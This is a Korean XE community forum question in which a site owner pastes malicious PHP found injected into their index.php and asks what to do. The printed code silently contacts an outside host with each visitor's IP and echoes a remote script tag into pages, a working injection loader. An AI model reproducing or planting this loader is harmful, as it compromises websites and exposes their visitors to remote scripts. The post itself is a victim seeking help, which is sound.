묻고답하기

index.php파일 최하단에

 


#af7fbf#
if (empty($sehbv)) {

    error_reporting(0);

    @ini_set('display_errors', 0);

    if (!function_exists('__url_get_contents')) {

        function __url_get_contents($remote_url, $timeout)

        {

            if (function_exists('curl_exec')) {

                $ch = curl_init();

                curl_setopt($ch, CURLOPT_URL, $remote_url);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds

                $_url_get_contents_data = curl_exec($ch);

                curl_close($ch);

            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {

                $ctx = @stream_context_create(array('http' =>

                    array(

                        'timeout' => $timeout,

                    )

                ));

                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);

            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

                $handle = @fopen($remote_url, "r");

                $_url_get_contents_data = @stream_get_contents($handle);

            } else {

                $_url_get_contents_data = __file_get_url_contents($remote_url);

            }

            return $_url_get_contents_data;

        }

    }

    if (!function_exists('__file_get_url_contents')) {

        function __file_get_url_contents($remote_url)

        {

            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',

                $remote_url, $matches)

            ) {

                $protocol = strtolower($matches[1]);

                $host = $matches[2];

                $path = $matches[3];

            } else {

                // Bad remote_url-format

                return FALSE;

            }

            if ($protocol == "http") {

                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);

            } else {

                // Bad protocol

                return FALSE;

            }

            if (!$socket) {

                // Error creating socket

                return FALSE;

            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

            $len_written = @fwrite($socket, $request);

            if ($len_written === FALSE || $len_written != strlen($request)) {

                // Error sending request

                return FALSE;

            }

            $response = "";

            while (!@feof($socket) &&

                ($buf = @fread($socket, 4096)) !== FALSE) {

                $response .= $buf;

            }

            if ($buf === FALSE) {

                // Error reading response

                return FALSE;

            }

            $end_of_header = strpos($response, "\r\n\r\n");

            return substr($response, $end_of_header + 4);

        }

    }

 

    if (empty($__var_to_echo) && empty($remote_domain)) {

        $_ip = $_SERVER['REMOTE_ADDR'];

        $sehbv = "http://www.processnet.com.ar/good_job/yWXjwvJc.php";

        $sehbv = __url_get_contents($sehbv."?a=$_ip", 1);

        if (strpos($sehbv, 'http://') === 0) {

            $__var_to_echo = '<script type="text/javascript" src="' . $sehbv . '?id=12328198"></script>';

            echo $__var_to_echo;

        }

    }

}
#/af7fbf#

 

 

 

사이트 접속이 되다 말다 그러고 페이지를 찾을 수 없습니다 빈도가 상당히 잦아 서버를 재부팅 해봤으나 증상은 동일하여 FTP를 열었더니..

 

위와같은 소스가 들어있었습니다.

업로드 한적이 없었음에도 불구하고 위의 소스가 들어가있고

업로드시간은 4월 24일 5시 40분 자로 표시되어있네요..

다시 원래 XE 의 기본 php 파일을 올렸으나 속도 문제는 해결 되지 않네요.

 

무섭습니다. 어떻게 해야할까요?

글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
JerryKim 댓글창 단순화 [5] 2014.04.24 by JerryKim
JerryKim 로그인시 포인트지급 버그? [1] 2014.04.24 by KrteamENT
콩까기 xe오류인거같은데...사이트 메뉴편집에 안뜨는 게시판 설정하는방법 [7] 2014.04.24 by KrteamENT
시골81 게시판 글 작성시 오류 (TypeError:'css' 속성값을 가져올 수 없습니다.) [1] 2014.04.24 by KrteamENT
CEO송선생 XE 해킹일까요? [13] 2014.04.24 by KrteamENT
jikong defult 레이아웃 질문 드립니다. [5] 2014.04.24 by jikong
도메인8295 현재 XE 최신버전인 1.7.4.1 버전을 쓸때 가장 적합한 PHP버전은 뭔가요? [4] 2014.04.25 by 도메인8295
oscarmike <div class="fr"> 가 의미하는게 무엇인가요? [6] 2014.04.25 by 브레인630
본체 로고아래쪽에 즐겨찾기 추가를 넣을려고 하는데요..  
붐이에요 안드로이드 앱 푸싱 parse.com에 Channels 관련 질문.  
어라얼랑 최근 게시물 클릭시 조회수 증가 문의 드립니다 [2] 2014.04.25 by 어라얼랑
1Bit 도메인주소를 변경하려는데 [1] 2014.04.25 by BJ람보
oscarmike 잘못된 위젯코딩으로 인한 포인트/캐쉬/머니 초기화가 가능할까요? [1] 2014.04.25 by BJ람보
비케이1214 페이지에 적용되는 css 경로 [7] 2014.04.25 by Double'U'
카오스™ 메뉴 클릭해도 메인화면만 나옵니다  
희망규짱 확장변수 등록방법 [3] 2014.04.25 by 銀童
우니즈 위젯페이지에서 {getUrl('m',0)} [1] 2014.04.25 by 퍼니엑스이
아웅졸려라 다중화일 업로드를 단일 화일 업로드가 되도록 수정하고 싶습니다. [1] 2014.04.25 by 아웅졸려라
llppll 웹진게시판에서 게시물이 노이미지시 리스트에서 다른이미지 표시 [1] 2014.04.25 by rustyryan
Volun 플로팅 배너 오류가 납니다. [4] 2014.04.25 by Volun
ST4179 안녕하세요 xe_documents 테이블 관련입니다 아시는분 답변좀^^ [5] 2014.04.25 by 퍼니엑스이
도메인8295 호스팅신청을 했는데..FTP도 안되고 웹사이트 접속도 안되네요 [9] 2014.04.25 by 도메인8295
풀카운트 메뉴수정이 안됩니다.. [2] file 2014.04.25 by 브라운아이스
브라운아이스 메뉴 수정이 안되요... ㅠㅠㅠ [1] file 2014.04.25 by 브라운아이스
다비퀸 고수님 해외 단독서버 쓸만한가요? [2] 2014.04.25 by 다비퀸
skeofk 모듈이나, 스킨 중에서 .. [1] 2014.04.25 by Double'U'
슈니슈니 모바일에서 댓글쓰기창 접는방법 질문드립니다 [11] file 2014.04.25 by 슈니슈니
도메인8295 호스팅어 도메인 Unverified으로 뜹니다. [3] 2014.04.25 by 도메인8295
DjKiLLeR 카페형식이 아닌 소모임을 만들수 있는 방법이 있을까요??? [7] 2014.04.25 by 퍼니엑스이
때린데 또때려 데이터 이전툴로 이전시 첨부파일 누락관련 [2] 2014.04.25 by 때린데 또때려